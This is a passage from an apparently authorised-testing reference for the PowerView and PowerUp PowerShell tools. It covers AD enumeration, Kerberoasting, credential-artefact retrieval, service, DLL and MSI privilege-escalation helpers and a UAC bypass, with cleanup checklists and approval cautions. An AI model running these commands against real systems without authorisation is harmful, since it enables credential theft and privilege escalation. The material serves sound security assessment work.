   1352 GPP `cpassword` storage has long been patched for creation through normal tooling, but old XML files can persist in SYSVOL, local caches, backups, or copied policy data.
   1353 
   1354 ### 15.5 McAfee SiteList
   1355 
   1356 ```powershell
   1357 Get-SiteListPassword
   1358 Get-SiteListPassword -Path 'C:\ProgramData\McAfee\Common Framework\SiteList.xml'
   1359 ```
   1360 
   1361 ### 15.6 AlwaysInstallElevated
   1362 
   1363 ```powershell
   1364 Get-RegistryAlwaysInstallElevated
   1365 
   1366 # Verify both policy locations manually
   1367 Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
   1368 Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
   1369 ```
   1370 
   1371 Both machine and current-user policy values must be enabled for the classic issue.
   1372 
   1373 ---
   1374 
   1375 ## 16. PowerUp — Validation, Abuse Helpers, and Restoration
   1376 
   1377 > [!danger] High-impact section
   1378 > The helpers below execute commands through privileged service, DLL, MSI, or UAC paths. Use only when proof of impact is explicitly required. Prefer a benign proof command that writes a uniquely named marker file over creating users, launching shells, or changing security controls.
   1379 
   1380 ### 16.1 Benign proof command
   1381 
   1382 ```powershell
   1383 $Proof = 'cmd.exe /c whoami /all > C:\Windows\Temp\CHG-1234-whoami.txt'
   1384 ```
   1385 
   1386 The result itself may contain sensitive group/privilege data. Remove it after collection.
   1387 
   1388 ### 16.2 Modifiable service configuration
   1389 
   1390 ```powershell
   1391 # Record first
   1392 $Before = Get-ServiceDetail -Name VulnSvc
   1393 $Before | Export-Clixml C:\Temp\assessment\VulnSvc-before.xml
   1394 
   1395 # Approved proof
   1396 Invoke-ServiceAbuse -Name VulnSvc -Command $Proof
   1397 
   1398 # Inspect service state/config after execution
   1399 Get-ServiceDetail -Name VulnSvc | Format-List *
   1400 sc.exe qc VulnSvc
   1401 ```
   1402 
   1403 `Invoke-ServiceAbuse` attempts to restore service configuration, but always verify against the recorded baseline. A crash, timeout, AV action, or insufficient restart rights can interrupt automated cleanup.
   1404 
   1405 ### 16.3 Service binary replacement
   1406 
   1407 ```powershell
   1408 # Creates a backup and replaces the service binary
   1409 Install-ServiceBinary -Name VulnSvc -Command $Proof
   1410 
   1411 # Restore using the backup path reported/created during the operation
   1412 Restore-ServiceBinary -Name VulnSvc -BackupPath 'C:\Path\To\service.exe.bak'
   1413 ```
   1414 
   1415 Do not guess the backup filename. Capture the helper output and confirm the original file's hash, owner, DACL, timestamps, and service health after restoration.
   1416 
   1417 ### 16.4 Unquoted-path service proof
   1418 
   1419 ```powershell
   1420 # Use the exact candidate reported by Get-UnquotedService
   1421 Write-ServiceBinary -Name VulnSvc -Path 'C:\Program.exe' -Command $Proof
   1422 ```
   1423 
   1424 Cleanup requires removing only the created proof binary after the service has completed and confirming the legitimate service starts normally.
   1425 
   1426 ### 16.5 DLL proof helper
   1427 
   1428 ```powershell
   1429 Write-HijackDll `
   1430   -DllPath 'C:\ApprovedWritablePath\wlbsctrl.dll' `
   1431   -Architecture x64 `
   1432   -Command $Proof
   1433 ```
   1434 
   1435 Remove the generated DLL and its batch artefact after proof, then restart/retest the affected application only if the rules of engagement permit it.
   1436 
   1437 ### 16.6 AlwaysInstallElevated helper
   1438 
   1439 ```powershell
   1440 Write-UserAddMSI -Path C:\Temp\assessment\UserAdd.msi
   1441 ```
   1442 
   1443 The bundled helper creates an interactive user/group-add MSI and is more disruptive than a marker-file proof. Treat it as a lab-only fallback; record and remove any account/group membership it creates, then delete the MSI.
   1444 
   1445 ### 16.7 UAC Event Viewer helper
   1446 
   1447 ```powershell
   1448 Invoke-EventVwrBypass -Command $Proof
   1449 ```
   1450 
   1451 This is a UAC bypass helper, not a standard-user-to-admin privilege escalation: the current identity must already hold a suitable administrator token. The function temporarily changes the current user's `mscfile` shell-open command and tries to remove it afterward. Verify cleanup:
   1452 
   1453 ```powershell
   1454 Test-Path 'HKCU:\Software\Classes\mscfile'
   1455 ```
   1456 
   1457 ### 16.8 Cleanup checklist
   1458 
   1459 ```text
   1460 [ ] Original service ImagePath/start mode/account restored
   1461 [ ] Original executable/config file restored and hash checked
   1462 [ ] Generated EXE/DLL/BAT/MSI/proof file removed
   1463 [ ] Temporary user removed
   1464 [ ] Temporary group membership removed
   1465 [ ] Registry values/keys restored or removed
   1466 [ ] Service/application starts and operates normally
   1467 [ ] Transcript and evidence protected according to engagement rules
   1468 [ ] Change and cleanup timestamps recorded
   1469 ```
   1470 
   1471 ---
   1472 
   1473 ## 17. Worked Workflows
   1474 
   1475 ### 17.1 Low-noise domain orientation
   1476 
   1477 ```powershell
   1478 . .\PowerView.ps1
   1479 $Domain = Get-Domain
   1480 $DCs    = Get-DomainController
   1481 $Trusts = Get-DomainTrust
   1482 $Policy = Get-DomainPolicyData
   1483 
   1484 $Domain | Format-List Name,Forest,DomainControllers
   1485 $DCs | Select-Object Name,IPAddress,SiteName,OperatingSystem
   1486 $Trusts | Format-Table SourceName,TargetName,TrustDirection,TrustType -AutoSize
   1487 $Policy.SystemAccess | Format-List
   1488 ```
   1489 
   1490 ### 17.2 Identify a user's effective path to local admin
   1491 
   1492 ```powershell
   1493 $User = 'CORP\alice'
   1494 
   1495 # Domain groups
   1496 Get-DomainGroup -MemberIdentity $User | Select-Object samaccountname,distinguishedname
   1497 
   1498 # GPO-derived local admin placements
   1499 Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators
   1500 
   1501 # Validate only the resulting hosts
   1502 $Targets = Get-DomainGPOUserLocalGroupMapping -Identity $User -LocalGroup Administrators |
   1503   Select-Object -ExpandProperty ComputerName -Unique
   1504 $Targets | Test-AdminAccess
   1505 ```
   1506 
   1507 ### 17.3 Investigate a BloodHound ACL edge
   1508 
   1509 ```powershell
   1510 $Principal = 'CORP\helpdesk'
   1511 $Target    = 'alice'
   1512 $Sid       = ConvertTo-SID $Principal
   1513 
   1514 Get-DomainObjectAcl -Identity $Target -ResolveGUIDs |
   1515   Where-Object SecurityIdentifier -eq $Sid |
   1516   Select-Object AceType,ActiveDirectoryRights,ObjectAceType,IsInherited,InheritanceType
   1517 ```
   1518 
   1519 Decision points:
   1520 
   1521 1. Does the ACE apply to this object or only descendants of a particular class?
   1522 2. Is it allowed or denied?
   1523 3. Is the principal SID enabled in the current token through direct/nested membership?
   1524 4. Is the target protected by AdminSDHolder or a protected DACL?
   1525 5. What is the least disruptive proof and exact cleanup?
   1526 
   1527 ### 17.4 Kerberoast exposure review
   1528 
   1529 ```powershell
   1530 $Candidates = Get-DomainUser `
   1531   -LDAPFilter '(&(servicePrincipalName=*)(!(samAccountName=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
   1532   -Properties samaccountname,serviceprincipalname,pwdlastset,lastlogon,memberof
   1533 
   1534 $Candidates |
   1535   Select-Object samaccountname,pwdlastset,lastlogon,@{n='SPNs';e={$_.serviceprincipalname -join ';'}} |
   1536   Sort-Object pwdlastset |
   1537   Export-Csv C:\Temp\assessment\kerberoast-candidates.csv -NoTypeInformation
   1538 
   1539 # Request a ticket only for the approved test identity
   1540 $Candidates | Where-Object samaccountname -eq 'svc_sql' |
   1541   Get-DomainSPNTicket -OutputFormat Hashcat
   1542 ```
   1543 
   1544 ### 17.5 Domain-to-host assessment flow
   1545 
   1546 ```powershell
   1547 . .\PowerView.ps1
   1548 . .\PowerUp.ps1
   1549 
   1550 # Domain side
   1551 whoami /all
   1552 Get-Domain
   1553 Get-DomainGroup -MemberIdentity $env:USERNAME
   1554 Get-DomainGPOUserLocalGroupMapping -Identity "$env:USERDOMAIN\$env:USERNAME" -LocalGroup Administrators
   1555 
   1556 # Current host side
   1557 Invoke-PrivescAudit -Format Object |
   1558   Export-Clixml C:\Temp\assessment\powerup.xml
   1559 ```
   1560 
   1561 ### 17.6 Validate and report an unquoted service path without exploitation
   1562 
   1563 ```powershell
   1564 $Finding = Get-UnquotedService | Where-Object ServiceName -eq 'VulnSvc'
   1565 $Finding | Format-List *
   1566 
   1567 Get-ServiceDetail -Name $Finding.ServiceName | Export-Clixml C:\Temp\assessment\VulnSvc.xml
   1568 Get-Acl $Finding.ModifiablePath | Format-List | Out-File C:\Temp\assessment\VulnSvc-acl.txt
   1569 ```
   1570 
   1571 Report:
   1572 
   1573 - Exact unquoted `PathName`.
   1574 - Candidate executable path Windows could select.
   1575 - ACL entry granting write/create rights and the affected principal.
   1576 - Privileged service account.
   1577 - Trigger/restart conditions.
   1578 - Evidence that the candidate file does not already exist or is controllable.
   1579 - Recommended remediation: quote the path and remove unnecessary write rights.
   1580 
   1581 ---
   1582 
   1583 ## 18. Troubleshooting
   1584 
   1585 | Symptom | Likely cause | Check / correction |
   1586 |---|---|---|
   1587 | `Get-DomainUser` not recognised | Script not loaded in current scope | `. .\PowerView.ps1`; then `Get-Command Get-DomainUser` |
   1588 | Execution blocked | PowerShell policy, application control, AV/EDR, or constrained language | Do not disable controls without approval; use sanctioned admin tooling or collect the block evidence |
   1589 | `The server is not operational` | DNS, DC reachability, LDAP signing/TLS, firewall, or wrong domain | `Resolve-DnsName`, `Test-NetConnection $DC -Port 389`, pin `-Server` |
   1590 | Empty LDAP result | Wrong identity/filter/SearchBase, insufficient read, or queried wrong domain | Remove filters one at a time; inspect `Get-Domain`; test explicit `-Server` |
   1591 | LDAP filter error | Bad escaping/parentheses or unsupported matching rule | Test a minimal filter and add clauses incrementally |
   1592 | `Access is denied` on sessions/WMI | Remote API hardening, firewall, UAC token filtering, or rights | Test one known host and one API; do not treat access denial as “no session” |
   1593 | Error 1219 on SMB | Existing connection to same server under another identity | `Get-SmbConnection`; remove the explicit connection you created, then retry consistently |
   1594 | `Get-DomainObjectAcl -ResolveGUIDs` is slow | Schema GUID map resolution plus broad query | Query one identity; omit `-ResolveGUIDs` until final analysis |
   1595 | PowerUp service result lacks immediate trigger | `CanRestart` false or service disabled | Document trigger dependency; do not reboot or alter service state without approval |
   1596 | PowerUp false positive | Writable directory is not in actual load/execute path | Validate with service config, ACLs, ProcMon, and real execution context |
   1597 | `Invoke-ServiceAbuse` changes but does not execute | Cannot restart, service command syntax, quoting, timeout, or AV | Inspect service state/config and event logs; restore from baseline |
   1598 | HTML audit report missing | Current directory unwritable or deprecated switch usage | Use `Invoke-PrivescAudit -Format HTML` from a writable directory |
   1599 | `AD:` drive unavailable | ActiveDirectory module/provider not installed | Use PowerView ACL output or an approved AD admin workstation for owner capture |
   1600 | Different blog command fails | PowerView branch/version mismatch | `Get-Help <Function> -Full`; compare with the bundled function index below |
   1601 
   1602 ### 18.1 Self-document the exact loaded build
   1603 
   1604 ```powershell
   1605 Get-Help Get-DomainUser -Full
   1606 Get-Help Add-DomainObjectAcl -Examples
   1607 Get-Help Invoke-PrivescAudit -Full
   1608 Get-Command Get-DomainUser -Syntax
   1609 Get-Command Invoke-ServiceAbuse -Syntax
   1610 ```
   1611 
   1612 ### 18.2 Connectivity triage
   1613 
   1614 ```powershell
   1615 Resolve-DnsName corp.local
   1616 Resolve-DnsName dc01.corp.local
   1617 Test-NetConnection dc01.corp.local -Port 389
   1618 Test-NetConnection dc01.corp.local -Port 445
   1619 nltest.exe /dsgetdc:corp.local
   1620 klist.exe
   1621 ```
   1622 
   1623 ---
   1624 
   1625 ## 19. Function and Alias Index
   1626 
   1627 ### 19.1 PowerView domain functions
   1628 
   1629 | Area | Functions |
   1630 |---|---|
   1631 | Name/SID conversion | `Resolve-IPAddress`, `ConvertTo-SID`, `ConvertFrom-SID`, `Convert-ADName`, `ConvertFrom-UACValue` |
   1632 | Credentials/connections | `Get-PrincipalContext`, `Add-RemoteConnection`, `Remove-RemoteConnection`, `Invoke-UserImpersonation`, `Invoke-RevertToSelf` |
   1633 | Kerberos | `Get-DomainSPNTicket`, `Invoke-Kerberoast` |
   1634 | LDAP/DNS helpers | `Convert-LDAPProperty`, `Get-DomainSearcher`, `Convert-DNSRecord`, `Get-DomainDNSZone`, `Get-DomainDNSRecord` |
   1635 | Domain/forest | `Get-Domain`, `Get-DomainController`, `Get-Forest`, `Get-ForestDomain`, `Get-ForestGlobalCatalog`, `Get-ForestSchemaClass`, `Get-DomainSID` |
   1636 | Users | `Get-DomainUser`, `New-DomainUser`, `Set-DomainUserPassword`, `Get-DomainUserEvent` |
   1637 | Computers/objects | `Get-DomainComputer`, `Get-DomainObject`, `Set-DomainObject`, `Get-DomainObjectAttributeHistory`, `Get-DomainObjectLinkedAttributeHistory` |
   1638 | ACLs | `Get-DomainGUIDMap`, `New-ADObjectAccessControlEntry`, `Set-DomainObjectOwner`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Remove-DomainObjectAcl`, `Find-InterestingDomainAcl` |
   1639 | Directory layout | `Get-DomainOU`, `Get-DomainSite`, `Get-DomainSubnet` |
   1640 | Groups | `Get-DomainGroup`, `New-DomainGroup`, `Get-DomainManagedSecurityGroup`, `Get-DomainGroupMember`, `Get-DomainGroupMemberDeleted`, `Add-DomainGroupMember`, `Remove-DomainGroupMember` |
   1641 | Files/DFS | `Get-DomainFileServer`, `Get-DomainDFSShare`, `Find-InterestingFile`, `Find-DomainShare`, `Find-InterestingDomainShareFile` |
   1642 | GPO/policy | `Get-GptTmpl`, `Get-GroupsXML`, `Get-DomainGPO`, `Get-DomainGPOLocalGroup`, `Get-DomainGPOUserLocalGroupMapping`, `Get-DomainGPOComputerLocalGroupMapping`, `Get-DomainPolicyData`, `Get-GPODelegation` |
   1643 | Host/session | `Get-NetLocalGroup`, `Get-NetLocalGroupMember`, `Get-NetShare`, `Get-NetLoggedon`, `Get-NetSession`, `Get-RegLoggedOn`, `Get-NetRDPSession`, `Test-AdminAccess`, `Get-NetComputerSiteName` |
   1644 | WMI/registry | `Get-WMIRegProxy`, `Get-WMIRegLastLoggedOn`, `Get-WMIRegCachedRDPConnection`, `Get-WMIRegMountedDrive`, `Get-WMIProcess` |
   1645 | Hunters | `Find-DomainUserLocation`, `Find-DomainProcess`, `Find-DomainUserEvent`, `Find-LocalAdminAccess`, `Find-DomainLocalGroupMember` |
   1646 | Trusts | `Get-DomainTrust`, `Get-ForestTrust`, `Get-DomainForeignUser`, `Get-DomainForeignGroupMember`, `Get-DomainTrustMapping` |
   1647 | Export | `Export-PowerViewCSV` |
   1648 
   1649 ### 19.2 Common legacy PowerView aliases
   1650 
   1651 | Alias | Current function |
   1652 |---|---|
   1653 | `Get-NetDomain` | `Get-Domain` |
   1654 | `Get-NetDomainController` | `Get-DomainController` |
   1655 | `Get-NetForest` | `Get-Forest` |
   1656 | `Get-NetForestDomain` | `Get-ForestDomain` |
   1657 | `Get-NetUser` | `Get-DomainUser` |
   1658 | `Get-NetComputer` | `Get-DomainComputer` |
   1659 | `Get-NetGroup` | `Get-DomainGroup` |
   1660 | `Get-NetGroupMember` | `Get-DomainGroupMember` |
   1661 | `Get-ADObject` | `Get-DomainObject` |
   1662 | `Set-ADObject` | `Set-DomainObject` |
   1663 | `Get-ObjectAcl` | `Get-DomainObjectAcl` |
   1664 | `Add-ObjectAcl` | `Add-DomainObjectAcl` |
   1665 | `Invoke-ACLScanner` | `Find-InterestingDomainAcl` |
   1666 | `Get-NetOU` / `Get-NetSite` / `Get-NetSubnet` | `Get-DomainOU` / `Get-DomainSite` / `Get-DomainSubnet` |
   1667 | `Get-NetGPO` | `Get-DomainGPO` |
   1668 | `Find-GPOLocation` | `Get-DomainGPOUserLocalGroupMapping` |
   1669 | `Find-GPOComputerAdmin` | `Get-DomainGPOComputerLocalGroupMapping` |
   1670 | `Invoke-UserHunter` | `Find-DomainUserLocation` |
   1671 | `Invoke-ProcessHunter` | `Find-DomainProcess` |
   1672 | `Invoke-ShareFinder` | `Find-DomainShare` |
   1673 | `Invoke-FileFinder` | `Find-InterestingDomainShareFile` |
   1674 | `Invoke-EnumerateLocalAdmin` | `Find-DomainLocalGroupMember` |
   1675 | `Invoke-CheckLocalAdminAccess` | `Test-AdminAccess` |
   1676 | `Get-NetDomainTrust` | `Get-DomainTrust` |
   1677 | `Get-NetForestTrust` | `Get-ForestTrust` |
   1678 | `Invoke-MapDomainTrust` | `Get-DomainTrustMapping` |
   1679 | `Request-SPNTicket` | `Get-DomainSPNTicket` |
   1680 | `Get-DomainPolicy` | `Get-DomainPolicyData` |
   1681 
   1682 ### 19.3 PowerUp function index
   1683 
   1684 | Area | Functions |
   1685 |---|---|
   1686 | Path/ACL helpers | `Get-ModifiablePath`, `Add-ServiceDacl`, `Test-ServiceDaclPermission` |
   1687 | Token inspection | `Get-TokenInformation`, `Get-ProcessTokenGroup`, `Get-ProcessTokenPrivilege`, `Get-ProcessTokenType`, `Enable-Privilege` |
   1688 | Service discovery | `Get-UnquotedService`, `Get-ModifiableServiceFile`, `Get-ModifiableService`, `Get-ServiceDetail` |
   1689 | Service validation helpers | `Set-ServiceBinaryPath`, `Invoke-ServiceAbuse`, `Write-ServiceBinary`, `Install-ServiceBinary`, `Restore-ServiceBinary` |
   1690 | DLL discovery/helpers | `Find-ProcessDLLHijack`, `Find-PathDLLHijack`, `Write-HijackDll` |
   1691 | Registry | `Get-RegistryAlwaysInstallElevated`, `Get-RegistryAutoLogon`, `Get-ModifiableRegistryAutoRun` |
   1692 | Task/install files | `Get-ModifiableScheduledTaskFile`, `Get-UnattendedInstallFile` |
   1693 | Credential artefacts | `Get-WebConfig`, `Get-ApplicationHost`, `Get-SiteListPassword`, `Get-CachedGPPPassword` |
   1694 | Other validation helpers | `Write-UserAddMSI`, `Invoke-EventVwrBypass` |
   1695 | Full audit | `Invoke-PrivescAudit` (alias: `Invoke-AllChecks`) |
   1696 
   1697 ---
   1698 
   1699 ## 20. One-Screen Quick Reference
   1700 
   1701 ```powershell
   1702 # LOAD
   1703 . .\PowerView.ps1
   1704 . .\PowerUp.ps1
   1705 
   1706 # DOMAIN BASELINE
   1707 Get-Domain
   1708 Get-DomainController
   1709 Get-ForestDomain
   1710 Get-DomainTrustMapping
   1711 Get-DomainPolicyData
   1712 
   1713 # PRINCIPALS
   1714 Get-DomainUser -AdminCount
   1715 Get-DomainUser -SPN
   1716 Get-DomainUser -PreauthNotRequired
   1717 Get-DomainComputer -Unconstrained
   1718 Get-DomainComputer -TrustedToAuth
   1719 Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
   1720 
   1721 # ACL/GPO
   1722 Find-InterestingDomainAcl -ResolveGUIDs
   1723 Get-DomainObjectAcl -Identity alice -ResolveGUIDs
   1724 Get-GPODelegation
   1725 Get-DomainGPOUserLocalGroupMapping -Identity alice -LocalGroup Administrators
   1726 
   1727 # HOSTS/SESSIONS/SHARES
   1728 Find-LocalAdminAccess -Threads 20
   1729 Find-DomainShare -CheckShareAccess -Threads 20
   1730 Get-NetSession -ComputerName fs01
   1731 Get-NetLocalGroupMember -ComputerName ws01 -GroupName Administrators
   1732 
   1733 # POWERUP
   1734 $Findings = Invoke-PrivescAudit -Format Object
   1735 Get-UnquotedService
   1736 Get-ModifiableServiceFile
   1737 Get-ModifiableService
   1738 Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
   1739 Get-RegistryAutoLogon
   1740 Get-RegistryAlwaysInstallElevated
   1741 
   1742 # HELP FOR THIS EXACT BUILD
   1743 Get-Command Get-DomainUser -Syntax
   1744 Get-Help Add-DomainObjectAcl -Examples
   1745 Get-Help Invoke-ServiceAbuse -Full
   1746 ```
   1747 
   1748 > [!success] Core habit
   1749 > Enumerate narrowly, validate assumptions, capture the original state, make the smallest authorised proof, clean up, and verify restoration. PowerView and PowerUp are most valuable as evidence-producing inspection tools—not as one-click escalation buttons.